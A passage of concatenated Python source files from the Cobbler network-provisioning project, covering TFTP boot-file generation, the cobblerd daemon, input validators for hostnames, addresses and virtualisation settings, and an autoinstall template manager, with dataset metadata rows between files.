Path to the kernel. :param initrd_path: Path to the initrd. :param bootloader_format: Can be any of those returned by get_supported_system_boot_loaders. :return: The array of additional boot load files. """ initrd: List[str] = [] if "initrd" in autoinstall_meta: initrd = autoinstall_meta["initrd"] if kernel_path and "wimboot" in kernel_path: remote_boot_files = utils.file_is_remote(kernel_path) if remote_boot_files: protocol = self.api.settings().autoinstall_scheme loaders_path = ( f"{protocol}://@@http_server@@/cobbler/images/@@distro_name@@/" ) initrd_path = f"{loaders_path}{os.path.basename(initrd_path)}" else: (loaders_path, _) = os.path.split(kernel_path) loaders_path += "/" bootmgr_path = bcd_path = wim_path = loaders_path if initrd_path: initrd.append( self._build_windows_initrd( "boot.sdi", initrd_path, bootloader_format ) ) if "bootmgr" in autoinstall_meta: initrd.append( self._build_windows_initrd( "bootmgr.exe", f'{bootmgr_path}{autoinstall_meta["bootmgr"]}', bootloader_format, ) ) if "bcd" in autoinstall_meta: initrd.append( self._build_windows_initrd( "bcd", f'{bcd_path}{autoinstall_meta["bcd"]}', bootloader_format ) ) if "winpe" in autoinstall_meta: initrd.append( self._build_windows_initrd( autoinstall_meta["winpe"], f'{wim_path}{autoinstall_meta["winpe"]}', bootloader_format, ) ) else: if initrd_path: initrd.append(initrd_path) return initrd def _write_bootcfg_file(self, what: str, name: str, filename: str) -> str: """ Write a boot.cfg file for the ESXi boot loader(s), and create a symlink to esxi UEFI bootloaders (mboot.efi) Directory structure: .. code-block:: TFTP Directory/ esxi/ mboot.efi system/ <system_name>/ boot.cfg mboot.efi :param what: Either "profile" or "system". Profiles are not currently used. :param name: The name of the item which the file should be generated for. :param filename: relative boot.cfg path from tftp. :return: The generated filecontent for the required item. """ if what.lower() not in ("profile", "system"): return "# only valid for profiles and systems" buffer = self.generate_bootcfg(what, name) bootloc_esxi = os.path.join(self.bootloc, "esxi") bootcfg_path = os.path.join(bootloc_esxi, filename) # write the boot.cfg file in tftp location self.logger.info("generating: %s", bootcfg_path) if not os.path.exists(os.path.dirname(bootcfg_path)): filesystem_helpers.mkdir(os.path.dirname(bootcfg_path)) with open(bootcfg_path, "w", encoding="UTF-8") as bootcfg_path_fd: bootcfg_path_fd.write(buffer) # symlink to esxi UEFI bootloader in same dir as boot.cfg # based on https://stackoverflow.com/a/55741590 if os.path.isfile(os.path.join(bootloc_esxi, "mboot.efi")): link_file = os.path.join( bootloc_esxi, os.path.dirname(filename), "mboot.efi" ) while True: temp_link_file = os.path.join( bootloc_esxi, os.path.dirname(filename), "mboot.efi.tmp" ) try: os.symlink("../../mboot.efi", temp_link_file) break except FileExistsError: pass try: os.replace(temp_link_file, link_file) except OSError as os_error: os.remove(temp_link_file) raise OSError(f"Error creating symlink {link_file}") from os_error return buffer def _read_chunk( self, path: Union[str, pathlib.Path], offset: int, size: int ) -> Tuple[bytes, int]: with open(path, "rb") as fd: fd.seek(offset) data = fd.read(size) file_size = fd.seek(0, os.SEEK_END) return data, file_size def _get_static_tftp_file( self, path: pathlib.Path, offset: int, size: int ) -> Optional[Tuple[bytes, int]]: relative_path = str(path).strip("/") try: return self._read_chunk( pathlib.Path(self.settings.bootloaders_dir, relative_path), offset, size ) except FileNotFoundError: try: return self._read_chunk( pathlib.Path(self.settings.grubconfig_dir, relative_path), offset, size, ) except FileNotFoundError: return None def _get_distro_tftp_file( self, path: pathlib.Path, offset: int, size: int ) -> Optional[Tuple[bytes, int]]: if path.parts[1] != "images": distro_name = path.parts[3] else: distro_name = path.parts[2] distro = self.api.find_distro(distro_name, return_list=False) if isinstance(distro, list): raise ValueError("Expected a single distro, found a list") if distro is not None: kernel_path = pathlib.Path(distro.kernel) if path.name == kernel_path.name: return self._read_chunk(kernel_path, offset, size) initrd_path = pathlib.Path(distro.initrd) if path.name == initrd_path.name: return self._read_chunk(initrd_path, offset, size) return None def _generate_tftp_config_file( self, path: pathlib.Path, offset: int, size: int ) -> Optional[Tuple[bytes, int]]: metadata = self.get_menu_items() # TODO: This iterates through all systems for each request. Can this be optimized? contents = None for system in self.api.systems(): if not system.is_management_supported(): continue contents = self.generate_system_file(system, path, metadata) if contents is not None: break if contents is None: contents = self.generate_pxe_menu(path, metadata) if contents is not None: enc = contents.encode("UTF-8") return enc[offset : offset + size], len(enc) return None def generate_tftp_file( self, path: pathlib.Path, offset: int, size: int ) -> Tuple[bytes, int]: """ Generate and return a file for a TFTP client. :param path: Normalized absolute path to the file :param offset: Offset of the requested chunk in the file :param size: Size of the requested chunk in the file :return: The requested chunk and the length of the whole file """ static_file = self._get_static_tftp_file(path, offset, size) if static_file is not None: return static_file if ( path.match("/images/*/*") or path.match("/grub/images/*/*") or path.match("/esxi/images/*/*") ): distro_file = self._get_distro_tftp_file(path, offset, size) if distro_file is not None: return distro_file elif path.match("/images2/*"): image = self.api.find_image(path.parts[2], return_list=False) if isinstance(image, list): raise ValueError("Expected a single image, found a list") if image is not None: return self._read_chunk(image.file, offset, size) elif path.match("/esxi/system/*/mboot.efi"): return self._read_chunk( pathlib.Path(self.settings.bootloaders_dir, "esxi/mboot.efi"), offset, size, ) else: config_file = self._generate_tftp_config_file(path, offset, size) if config_file is not None: return config_file raise FileNotFoundError(path)
87,991
Python
.py
1,853
34.541284
120
0.568275
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,089
cobblerd.py
cobbler_cobbler/cobbler/cobblerd.py
""" Cobbler daemon for logging remote syslog traffic during automatic installation """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2007-2009, Red Hat, Inc and Others # SPDX-FileCopyrightText: Michael DeHaan <michael.dehaan AT gmail> import binascii import logging import logging.config import os import pwd import time import systemd.daemon # type: ignore from cobbler import remote, utils from cobbler.api import CobblerAPI if os.geteuid() == 0 and os.path.exists("/etc/cobbler/logging_config.conf"): logging.config.fileConfig("/etc/cobbler/logging_config.conf") logger = logging.getLogger() def core(cobbler_api: CobblerAPI) -> None: """ Starts Cobbler. :param cobbler_api: The cobbler_api instance which is used for this method. """ settings = cobbler_api.settings() xmlrpc_port = settings.xmlrpc_port regen_ss_file() do_xmlrpc_rw(cobbler_api, xmlrpc_port) def regen_ss_file() -> None: """ This is only used for Kerberos auth at the moment. It identifies XMLRPC requests from Apache that have already been cleared by Kerberos. """ ssfile = "/var/lib/cobbler/web.ss" data = os.urandom(512) with open(ssfile, "wb", 0o660) as ss_file_fd: ss_file_fd.write(binascii.hexlify(data)) http_user = "apache" family = utils.get_family() if family == "debian": http_user = "www-data" elif family == "suse": http_user = "wwwrun" os.lchown(ssfile, pwd.getpwnam(http_user)[2], -1) def do_xmlrpc_rw(cobbler_api: CobblerAPI, port: int) -> None: """ This trys to bring up the Cobbler xmlrpc_api and restart it if it fails. :param cobbler_api: The cobbler_api instance which is used for this method. :param port: The port where the xmlrpc api should run on. """ xinterface = remote.ProxiedXMLRPCInterface( cobbler_api, remote.CobblerXMLRPCInterface ) server = remote.CobblerXMLRPCServer(("127.0.0.1", port)) # don't log requests; ignore mypy due to multiple inheritance & protocols being 3.8+ server.logRequests = False # type: ignore[attr-defined] logger.debug("XMLRPC running on %s", port) server.register_instance(xinterface) start_time = "" try: import psutil ps_util = psutil.Process(os.getpid()) start_time = f" in {str(time.time() - ps_util.create_time())} seconds" except ModuleNotFoundError: # This is not critical, but debug only - just install python3-psutil pass systemd.daemon.notify("READY=1") # type: ignore while True: try: logger.info("Cobbler startup completed %s", start_time) # Start background load_items task xinterface.proxied.background_load_items() server.serve_forever() except IOError: # interrupted? try to serve again time.sleep(0.5) if __name__ == "__main__": core(CobblerAPI())
2,969
Python
.py
77
33.168831
119
0.687805
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,090
validate.py
cobbler_cobbler/cobbler/validate.py
""" Cobbler module that is related to validating data for other internal Cobbler modules. """ # SPDX-License-Identifier: GPL-2.0-or-later # SPDX-FileCopyrightText: Copyright 2014-2015. Jorgen Maas <jorgen.maas@gmail.com> import re import shlex from ipaddress import AddressValueError, NetmaskValueError from typing import TYPE_CHECKING, List, Union from urllib.parse import urlparse from uuid import UUID import netaddr from cobbler import enums, utils from cobbler.items.abstract import base_item from cobbler.utils import input_converters, signatures if TYPE_CHECKING: from cobbler.api import CobblerAPI RE_HOSTNAME = re.compile( r"^([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])" r"(\.([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\-]{0,61}[a-zA-Z0-9]))*$" ) RE_URL_GRUB = re.compile(r"^\((?P<protocol>http|tftp),(?P<server>.*)\)/(?P<path>.*)$") RE_URL = re.compile( r"^[a-zA-Z\d-]{,63}(\.[a-zA-Z\d-]{,63})*$" ) # https://stackoverflow.com/a/2894918 RE_SCRIPT_NAME = re.compile(r"[a-zA-Z0-9_\-.]+") RE_INFINIBAND_MAC = re.compile( "^" + ":".join(["([0-9A-F]{1,2})"] * 20) + "$", re.IGNORECASE ) # blacklist invalid values to the repo statement in autoinsts AUTOINSTALL_REPO_BLACKLIST = ["enabled", "gpgcheck", "gpgkey"] # FIXME: Allow the <<inherit>> magic string to be parsed correctly. def hostname(dnsname: str) -> str: """ Validate the DNS name. :param dnsname: Hostname or FQDN :returns: Hostname or FQDN :raises TypeError: If the Hostname/FQDN is not a string or in an invalid format. """ if not isinstance(dnsname, str): # type: ignore raise TypeError("Invalid input, dnsname must be a string") dnsname = dnsname.strip() if dnsname == "": # hostname is not required return dnsname if not RE_HOSTNAME.match(dnsname): raise ValueError(f"Invalid hostname format ({dnsname})") return dnsname def mac_address(mac: str, for_item: bool = True) -> str: """ Validate as an Ethernet MAC address. :param mac: MAC address :param for_item: If the check should be performed for an item or not. :returns: MAC address :raises ValueError: Raised in case ``mac`` has an invalid format. :raises TypeError: Raised in case ``mac`` is not a string. """ if not isinstance(mac, str): # type: ignore raise TypeError("Invalid input, mac must be a string") mac = mac.lower().strip() if for_item is True: # this value has special meaning for items if mac == "random": return mac # copying system collection will set mac to "" # netaddr will fail to validate this mac and throws an exception if mac == "": return mac if not netaddr.valid_mac(mac) and RE_INFINIBAND_MAC.match(mac) is None: # type: ignore raise ValueError(f"Invalid mac address format ({mac})") return mac def ipv4_address(addr: str) -> str: """ Validate an IPv4 address. :param addr: IPv4 address :returns: IPv4 address :raises TypeError: Raised if ``addr`` is not a string. :raises AddressValueError: Raised in case ``addr`` is not a valid IPv4 address. :raises NetmaskValueError: Raised in case ``addr`` is not a valid IPv4 netmask. """ if not isinstance(addr, str): # type: ignore raise TypeError("Invalid input, addr must be a string") addr = addr.strip() if addr == "": return addr if not netaddr.valid_ipv4(addr): # type: ignore raise AddressValueError(f"Invalid IPv4 address format ({addr})") if netaddr.IPAddress(addr).is_netmask(): raise NetmaskValueError(f"Invalid IPv4 host address ({addr})") return addr def ipv4_netmask(addr: str) -> str: """ Validate an IPv4 netmask. :param addr: IPv4 netmask :returns: IPv4 netmask :raises TypeError: Raised if ``addr`` is not a string. :raises AddressValueError: Raised in case ``addr`` is not a valid IPv4 address. :raises NetmaskValueError: Raised in case ``addr`` is not a valid IPv4 netmask. """ if not isinstance(addr, str): # type: ignore raise TypeError("Invalid input, addr must be a string") addr = addr.strip() if addr == "": return addr if not netaddr.valid_ipv4(addr): # type: ignore raise AddressValueError(f"Invalid IPv4 address format ({addr})") if not netaddr.IPAddress(addr).is_netmask(): raise NetmaskValueError(f"Invalid IPv4 netmask ({addr})") return addr def ipv6_address(addr: str) -> str: """ Validate an IPv6 address. :param addr: IPv6 address :returns: The IPv6 address. :raises TypeError: Raised if ``addr`` is not a string. :raises AddressValueError: Raised in case ``addr`` is not a valid IPv6 address. """ if not isinstance(addr, str): # type: ignore raise TypeError("Invalid input, addr must be a string") addr = addr.strip() if addr == "": return addr if not netaddr.valid_ipv6(addr): # type: ignore raise AddressValueError(f"Invalid IPv6 address format ({addr})") return addr def name_servers( nameservers: Union[str, List[str]], for_item: bool = True ) -> Union[str, List[str]]: """ Validate nameservers IP addresses, works for IPv4 and IPv6 :param nameservers: string or list of nameserver addresses :param for_item: enable/disable special handling for Item objects :return: The list of valid nameservers. :raises TypeError: Raised if ``nameservers`` is not a string or list. :raises AddressValueError: Raised in case ``nameservers`` is not a valid address. """ if isinstance(nameservers, str): nameservers = nameservers.strip() if for_item is True: # special handling for Items if nameservers in [enums.VALUE_INHERITED, ""]: return nameservers # convert string to a list; do the real validation in the isinstance(list) code block below nameservers = shlex.split(nameservers) if isinstance(nameservers, list): # type: ignore for name_server in nameservers: ip_version = netaddr.IPAddress(name_server).version if ip_version == 4: ipv4_address(name_server) elif ip_version == 6: ipv6_address(name_server) else: raise AddressValueError("Invalid IP address format") else: raise TypeError(f"Invalid input type {type(nameservers)}, expected str or list") return nameservers def name_servers_search( search: Union[str, List[str]], for_item: bool = True ) -> Union[str, List[str]]: """ Validate nameservers search domains. :param search: One or more search domains to validate. :param for_item: enable/disable special handling for Item objects :return: The list of valid nameservers. :raises TypeError: Raised if ``search`` is not a string or list. """ if isinstance(search, str): search = search.strip() if for_item is True: # special handling for Items if search in [enums.VALUE_INHERITED, ""]: return search # convert string to a list; do the real validation in the isinstance(list) code block below search = shlex.split(search) if isinstance(search, list): # type: ignore for nameserver in search: hostname(nameserver) else: raise TypeError(f'Invalid input type "{type(search)}", expected str or list') return search def validate_breed(breed: str) -> str: """ This is a setter for the operating system breed. :param breed: The os-breed which shall be set. :raises TypeError: If breed is not a str. :raises ValueError: If breed is not a supported breed. """ if not isinstance(breed, str): # type: ignore raise TypeError("breed must be of type str") if not breed: return "" # FIXME: The following line will fail if load_signatures() from utils/signatures.py was not called! valid_breeds = signatures.get_valid_breeds() breed = breed.lower() if breed and breed in valid_breeds: return breed nicer = ", ".join(valid_breeds) raise ValueError( f'Invalid value for breed ("{breed}"). Must be one of {nicer}, different breeds have different levels of ' "support!" ) def validate_os_version(os_version: str, breed: str) -> str: """ This is a setter for the operating system version of an object. :param os_version: The version which shall be set. :param breed: The breed to validate the os_version for. """ # Type checks if not isinstance(os_version, str): # type: ignore raise TypeError("os_version needs to be of type str") if not isinstance(breed, str): # type: ignore raise TypeError("breed needs to be of type str") # Early bail out if we do a reset if not os_version or not breed: return "" # Check breed again, so access does not fail validated_breed = validate_breed(breed) if not validated_breed == breed: raise ValueError( "The breed supplied to the validation function of os_version was not valid." ) # Now check the os_version # FIXME: The following line will fail if load_signatures() from utils/signatures.py was not called! matched = signatures.signature_cache["breeds"][breed] os_version = os_version.lower() if os_version not in matched: nicer = ", ".join(matched) raise ValueError( f'os_version for breed "{breed}" must be one of {nicer}, given was "{os_version}"' ) return os_version def validate_repos( repos: Union[List[str], str], api: "CobblerAPI", bypass_check: bool = False ) -> Union[List[str], str]: """ This is a setter for the repository. :param repos: The repositories to set for the object. :param api: The api to find the repos. :param bypass_check: If the newly set repos should be checked for existence. """ # allow the magic inherit string to persist if repos == enums.VALUE_INHERITED: return enums.VALUE_INHERITED # store as an array regardless of input type if repos is None: # type: ignore repos = [] else: # TODO: Don't store the names. Store the internal references. # repos are not allowed to be inherited atm repos = api.input_string_or_list_no_inherit(repos) if not bypass_check: for repo in repos: # FIXME: First check this and then set the repos if the bypass check is used. if api.repos().find(name=repo) is None: raise ValueError(f"repo {repo} is not defined") return repos def validate_virt_file_size(num: Union[str, int, float]) -> Union[str, float]: """ For Virt only: Specifies the size of the virt image in gigabytes. Older versions of koan (x<0.6.3) interpret 0 as "don't care". Newer versions (x>=0.6.4) interpret 0 as "no disks" :param num: is a non-negative integer (0 means default). Can also be a comma seperated list -- for usage with multiple disks (not working at the moment) """ # FIXME: Data structure does not allow this (yet) # if isinstance(num, str) and num.find(",") != -1: # tokens = num.split(",") # for token in tokens: # # hack to run validation on each # validate_virt_file_size(token) # # if no exceptions raised, good enough # return num if isinstance(num, str): if num == enums.VALUE_INHERITED: return enums.VALUE_INHERITED if num == "": return 0.0 if not utils.is_str_float(num): raise TypeError("virt_file_size needs to be a float") num = float(num) if isinstance(num, int): num = float(num) if not isinstance(num, float): # type: ignore raise TypeError("virt_file_size needs to be a float") if num < 0: raise ValueError(f"invalid virt_file_size ({num})") return num def validate_virt_auto_boot(value: Union[str, bool, int]) -> Union[bool, str]: """ For Virt only. Specifies whether the VM should automatically boot upon host reboot 0 tells Koan not to auto_boot virtuals. :param value: May be True or False. """ if value == enums.VALUE_INHERITED: return enums.VALUE_INHERITED value = input_converters.input_boolean(value) if not isinstance(value, bool): # type: ignore raise TypeError("virt_auto_boot needs to be of type bool.") return value def validate_virt_pxe_boot(value: bool) -> bool: """ For Virt only. Specifies whether the VM should use PXE for booting 0 tells Koan not to PXE boot virtuals :param value: May be True or False. :return: True or False """ value = input_converters.input_boolean(value) if not isinstance(value, bool): # type: ignore raise TypeError("virt_pxe_boot needs to be of type bool.") return value def validate_virt_ram(value: Union[int, str]) -> Union[str, int]: """ For Virt only. Specifies the size of the Virt RAM in MB. :param value: 0 tells Koan to just choose a reasonable default. :returns: An integer in all cases, except when ``value`` is the magic inherit string. """ if not isinstance(value, (str, int)): # type: ignore raise TypeError("virt_ram must be of type int or the str '<<inherit>>'!") if isinstance(value, str): if value == enums.VALUE_INHERITED: return enums.VALUE_INHERITED if value == "": return 0 if not utils.is_str_int(value): raise TypeError("virt_ram needs to be an integer") value = int(value) # value is a non-negative integer (0 means default) interger_number = int(value) if interger_number < 0: raise ValueError( "The virt_ram needs to have a value greater or equal to zero. Zero means default RAM." ) return interger_number def validate_virt_bridge(vbridge: str) -> str: """ The default bridge for all virtual interfaces under this profile. :param vbridge: The bridgename to set for the object. :raises TypeError: In case vbridge was not of type str. """ if not isinstance(vbridge, str): # type: ignore raise TypeError("vbridge must be of type str.") if not vbridge: return enums.VALUE_INHERITED return vbridge def validate_virt_path(path: str, for_system: bool = False) -> str: """ Virtual storage location suggestion, can be overriden by koan. :param path: The path to the storage. :param for_system: If this is set to True then the value is inherited from a profile. """ if not isinstance(path, str): # type: ignore raise TypeError("Field virt_path needs to be of type str!") if for_system: if path == "": path = enums.VALUE_INHERITED return path def validate_virt_cpus(num: Union[str, int]) -> int: """ For Virt only. Set the number of virtual CPUs to give to the virtual machine. This is fed to virtinst RAW, so Cobbler will not yelp if you try to feed it 9999 CPUs. No formatting like 9,999 please :) Zero means that the number of cores is inherited. Negative numbers are forbidden :param num: The number of cpu cores. If you pass the magic inherit string it will be converted to 0. """ if isinstance(num, str): if num == enums.VALUE_INHERITED: return 0 if num == "": return 0 if not utils.is_str_int(num): raise TypeError("virt_cpus needs to be an integer") num = int(num) if not isinstance(num, int): # type: ignore raise TypeError("virt_cpus needs to be an integer") if num < 0: raise ValueError("virt_cpus needs to be 0 or greater") return int(num) def validate_serial_device(value: Union[str, int]) -> int: """ Set the serial device for an object. :param value: The number of the serial device. :return: The validated device number """ if isinstance(value, str): if not utils.is_str_int(value): raise TypeError("serial_device needs to be an integer") value = int(value) if not isinstance(value, int): # type: ignore raise TypeError("serial_device needs to be an integer") if value < -1: raise ValueError("serial_device needs to be -1 or greater") return int(value) def validate_serial_baud_rate( baud_rate: Union[int, str, enums.BaudRates] ) -> enums.BaudRates: """ The baud rate is very import that the communication between the two devices can be established correctly. This is the setter for this parameter. This effectively is the speed of the connection. :param baud_rate: The baud rate to set. :return: The validated baud rate. """ if not isinstance(baud_rate, (int, str, enums.BaudRates)): # type: ignore raise TypeError("serial baud rate needs to be of type int or enums.BaudRates") # Convert the baud rate which came in as an int or str if isinstance(baud_rate, (int, str)): try: if str(baud_rate).upper() == "DISABLED" or baud_rate == -1: baud_rate = enums.BaudRates.DISABLED else: baud_rate = enums.BaudRates["B" + str(baud_rate)] except KeyError as key_error: raise ValueError( f"vtype choices include: {list(map(str, enums.BaudRates))}" ) from key_error # Now it must be of the enum Type if baud_rate not in enums.BaudRates: raise ValueError(f"invalid value for serial baud Rate ({baud_rate})") return baud_rate def validate_boot_remote_file(value: str) -> bool: """ This validates if the passed value is a valid value for ``remote_boot_{kernel,initrd}``. :param value: Must be a valid URI starting with http or tftp. ftp is not supported and thus invalid. :return: False in any case. If value is valid, ``True`` is returned. """ if not isinstance(value, str): # type: ignore return False parsed_url = urlparse(value) # Check that it starts with http / tftp if parsed_url.scheme not in ("http", "tftp"): return False # Check the port # FIXME: Allow ports behind the hostname and check if they are allowed # Check we have magic @@server@@ if parsed_url.netloc.startswith("@@") and parsed_url.netloc.endswith("server@@"): return True # If not magic @@server@@ then assume IPv4/v6 if netaddr.valid_ipv4(parsed_url.netloc) or netaddr.valid_ipv6(parsed_url.netloc): return True # If not magic or IPv4/v6 then it must be a valid hostname # To check that we remove the protocol and get then everything to the first slash host = value[7:].split("/", 1)[0] if RE_URL.match(host): return True return False def validate_grub_remote_file(value: str) -> bool: """ This validates if the passed value is a valid value for ``remote_grub_{kernel,initrd}``. :param value: Must be a valid grub formatted URI starting with http or tftp. ftp is not supported and thus invalid. :return: False in any case. If value is valid, ``True`` is returned. """ if not isinstance(value, str): # type: ignore return False # Format: "(%s,%s)/%s" % (prot, server, path) grub_match_result = RE_URL_GRUB.match(value) success = False if grub_match_result: # grub_match_result.group("protocol") -> No further processing needing if the match is there. server = grub_match_result.group("server") # FIXME: Disallow invalid port specifications in the URL success_server_ip = netaddr.valid_ipv4(server) or netaddr.valid_ipv6(server) # FIXME: Disallow invalid URLs (e.g.: underscore in URL) success_server_name = urlparse(f"https://{server}").netloc == server path = grub_match_result.group("path") success_path = urlparse(f"https://fake.local/{path}").path[1:] == path success = (success_server_ip or success_server_name) and success_path return success def validate_autoinstall_script_name(name: str) -> bool: """ This validates if the name given for the script is valid in the context of the API call made. It will be handed to tftpgen.py#generate_script in the end. :param name: The name of the script. Will end up being a filename. May have an extension but should never be a path. :return: If this is a valid script name or not. """ if not isinstance(name, str): # type: ignore return False if re.fullmatch(RE_SCRIPT_NAME, name): return True return False def validate_uuid(possible_uuid: str) -> bool: """ Validate if the handed string is a valid UUIDv4 hex representation. :param possible_uuid: The str with the UUID. :return: True in case it is one, False otherwise. """ if not isinstance(possible_uuid, str): # type: ignore return False # Taken from: https://stackoverflow.com/a/33245493/4730773 try: uuid_obj = UUID(possible_uuid, version=4) except ValueError: return False return uuid_obj.hex == possible_uuid def validate_obj_type(object_type: str) -> bool: """ This validates the given object type against the available object types in Cobbler. :param object_type: The str with the object type to validate. :return: True in case it is one, False in all other cases. """ if not isinstance(object_type, str): # type: ignore return False return object_type in [ "distro", "profile", "system", "repo", "image", "menu", ] def validate_obj_name(object_name: str) -> bool: """ This validates the name of an object against the Cobbler specific object name schema. :param object_name: The object name candidate. :return: True in case it matches the RE_OBJECT_NAME regex, False in all other cases. """ if not isinstance(object_name, str): # type: ignore return False return bool(re.fullmatch(base_item.RE_OBJECT_NAME, object_name))
22,316
Python
.py
516
36.846899
120
0.661886
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,091
autoinstall_manager.py
cobbler_cobbler/cobbler/autoinstall_manager.py
""" This module contains code in order to create the automatic installation files. For example kickstarts, autoyast files or preseed files. """ import logging import os from typing import TYPE_CHECKING, Any, List, Optional from cobbler import autoinstallgen, utils from cobbler.utils import filesystem_helpers if TYPE_CHECKING: from cobbler.api import CobblerAPI from cobbler.items.abstract.base_item import BaseItem TEMPLATING_ERROR = 1 KICKSTART_ERROR = 2 class AutoInstallationManager: """ Manage automatic installation templates, snippets and final files """ def __init__(self, api: "CobblerAPI"): """ Constructor for the autoinstall manager. :param api: The collection manager which has all objects. """ self.api = api self.snippets_base_dir = api.settings().autoinstall_snippets_dir self.templates_base_dir = api.settings().autoinstall_templates_dir self.autoinstallgen = autoinstallgen.AutoInstallationGen(api) self.logger = logging.getLogger() def validate_autoinstall_template_file_path( self, autoinstall: str, for_item: bool = True, new_autoinstall: bool = False ) -> str: """ Validate the automatic installation template's relative file path. :param autoinstall: automatic installation template relative file path :param for_item: enable/disable special handling for Item objects :param new_autoinstall: when set to true new filenames are allowed :returns: automatic installation template relative file path :raises TypeError: Raised in case ``autoinstall`` is not a string. :raises OSError: Raised in case template file not found. :raises ValueError: Raised in case template file is invalid. """ if not isinstance(autoinstall, str): # type: ignore raise TypeError("Invalid input, autoinstall must be a string") autoinstall = autoinstall.strip() if autoinstall == "": # empty autoinstall is allowed (interactive installations) return autoinstall if for_item is True: # this autoinstall value has special meaning for Items # other callers of this function have no use for this if autoinstall == "<<inherit>>": return autoinstall if autoinstall.find("..") != -1: raise ValueError( f"Invalid automatic installation template file location {autoinstall}, it must not contain .." ) autoinstall_path = f"{self.templates_base_dir}/{autoinstall}" if not os.path.isfile(autoinstall_path) and not new_autoinstall: raise OSError( f"Invalid automatic installation template file location {autoinstall_path}, file not found" ) return autoinstall def get_autoinstall_templates(self) -> List[str]: """ Get automatic OS installation templates :returns: A list of automatic installation templates """ files: List[str] = [] for root, _, filenames in os.walk(self.templates_base_dir): for filename in filenames: rel_root = root[len(self.templates_base_dir) + 1 :] if rel_root: rel_path = f"{rel_root}/{filename}" else: rel_path = filename files.append(rel_path) files.sort() return files def read_autoinstall_template(self, file_path: str) -> str: """ Read an automatic OS installation template :param file_path: automatic installation template relative file path :returns: automatic installation template content """ file_path = self.validate_autoinstall_template_file_path( file_path, for_item=False ) file_full_path = f"{self.templates_base_dir}/{file_path}" with open(file_full_path, "r", encoding="UTF-8") as fileh: data = fileh.read() return data def write_autoinstall_template(self, file_path: str, data: str) -> bool: """ Write an automatic OS installation template :param file_path: automatic installation template relative file path :param data: automatic installation template content """ file_path = self.validate_autoinstall_template_file_path( file_path, for_item=False, new_autoinstall=True ) file_full_path = f"{self.templates_base_dir}/{file_path}" try: filesystem_helpers.mkdir(os.path.dirname(file_full_path)) except Exception: utils.die( f"unable to create directory for automatic OS installation template at {file_path}" ) with open(file_full_path, "w", encoding="UTF-8") as fileh: fileh.write(data) return True def remove_autoinstall_template(self, file_path: str): """ Remove an automatic OS installation template :param file_path: automatic installation template relative file path """ file_path = self.validate_autoinstall_template_file_path( file_path, for_item=False ) file_full_path = f"{self.templates_base_dir}/{file_path}" if not self.is_autoinstall_in_use(file_path): os.remove(file_full_path) else: utils.die("attempt to delete in-use file") def validate_autoinstall_snippet_file_path( self, snippet: str, new_snippet: bool = False ) -> str: """ Validate the snippet's relative file path. :param snippet: automatic installation snippet relative file path :param new_snippet: when set to true new filenames are allowed :returns: Snippet if successful otherwise raises an exception. :raises TypeError: Raised in case ``snippet`` is not a string. :raises ValueError: Raised in case snippet file is invalid. :raises OSError: Raised in case snippet file location is not found. """ if not isinstance(snippet, str): # type: ignore raise TypeError("Invalid input, snippet must be a string") snippet = snippet.strip() if snippet.find("..") != -1: raise ValueError( f"Invalid automated installation snippet file location {snippet}, it must not contain .." ) snippet_path = f"{self.snippets_base_dir}/{snippet}" if not os.path.isfile(snippet_path) and not new_snippet: raise OSError( f"Invalid automated installation snippet file location {snippet_path}, file not found" ) return snippet def get_autoinstall_snippets(self) -> List[str]: """ Get a list of all autoinstallation snippets. :return: The list of snippets """ files: List[str] = [] for root, _, filenames in os.walk(self.snippets_base_dir): for filename in filenames: rel_root = root[len(self.snippets_base_dir) + 1 :] if rel_root: rel_path = f"{rel_root}/{filename}" else: rel_path = filename files.append(rel_path) files.sort() return files def read_autoinstall_snippet(self, file_path: str) -> str: """ Reads a autoinstall snippet from underneath the configured snippet base dir. :param file_path: The relative file path under the configured snippets base dir. :return: The read snippet. """ file_path = self.validate_autoinstall_snippet_file_path(file_path) file_full_path = f"{self.snippets_base_dir}/{file_path}" with open(file_full_path, "r", encoding="UTF-8") as fileh: data = fileh.read() return data def write_autoinstall_snippet(self, file_path: str, data: str): """ Writes a snippet with the given content to the relative path under the snippet root directory. :param file_path: The relative path under the configured snippet base dir. :param data: The snippet code. """ file_path = self.validate_autoinstall_snippet_file_path( file_path, new_snippet=True ) file_full_path = f"{self.snippets_base_dir}/{file_path}" try: filesystem_helpers.mkdir(os.path.dirname(file_full_path)) except Exception: utils.die( f"unable to create directory for automatic OS installation snippet at {file_path}" ) with open(file_full_path, "w", encoding="UTF-8") as fileh: fileh.write(data) def remove_autoinstall_snippet(self, file_path: str) -> bool: """ Remove the autoinstall snippet with the given path. :param file_path: The path relative to the configured snippet root. :return: A boolean indicating the success of the task. """ file_path = self.validate_autoinstall_snippet_file_path(file_path) file_full_path = f"{self.snippets_base_dir}/{file_path}" os.remove(file_full_path) return True def is_autoinstall_in_use(self, name: str) -> bool: """ Reports the status if a given system is currently being provisioned. :param name: The name of the system. :return: Whether the system is in install mode or not. """ for profile in self.api.profiles(): if profile.autoinstall == name: return True for profile in self.api.systems(): if profile.autoinstall == name: return True return False def generate_autoinstall( self, profile: Optional[str] = None, system: Optional[str] = None ) -> str: """ Generates the autoinstallation for a system or a profile. You may only specifify one parameter. If you specify both, the system is generated and the profile argument is ignored. :param profile: The Cobbler profile you want an autoinstallation generated for. :param system: The Cobbler system you want an autoinstallation generated for. :return: The rendered template for the system or profile. """ if system is not None: return self.autoinstallgen.generate_autoinstall_for_system(system) if profile is not None: return self.autoinstallgen.generate_autoinstall_for_profile(profile) return "" def log_autoinstall_validation_errors(self, errors_type: int, errors: List[Any]): """ Log automatic installation file errors :param errors_type: validation errors type :param errors: A list with all the errors which occurred. """ if errors_type == TEMPLATING_ERROR: self.logger.warning("Potential templating errors:") for error in errors: (line, col) = error["lineCol"] line -= 1 # we add some lines to the template data, so numbering is off self.logger.warning( "Unknown variable found at line %d, column %d: '%s'", line, col, error["rawCode"], ) elif errors_type == KICKSTART_ERROR: self.logger.warning("Kickstart validation errors: %s", errors[0]) def validate_autoinstall_file(self, obj: 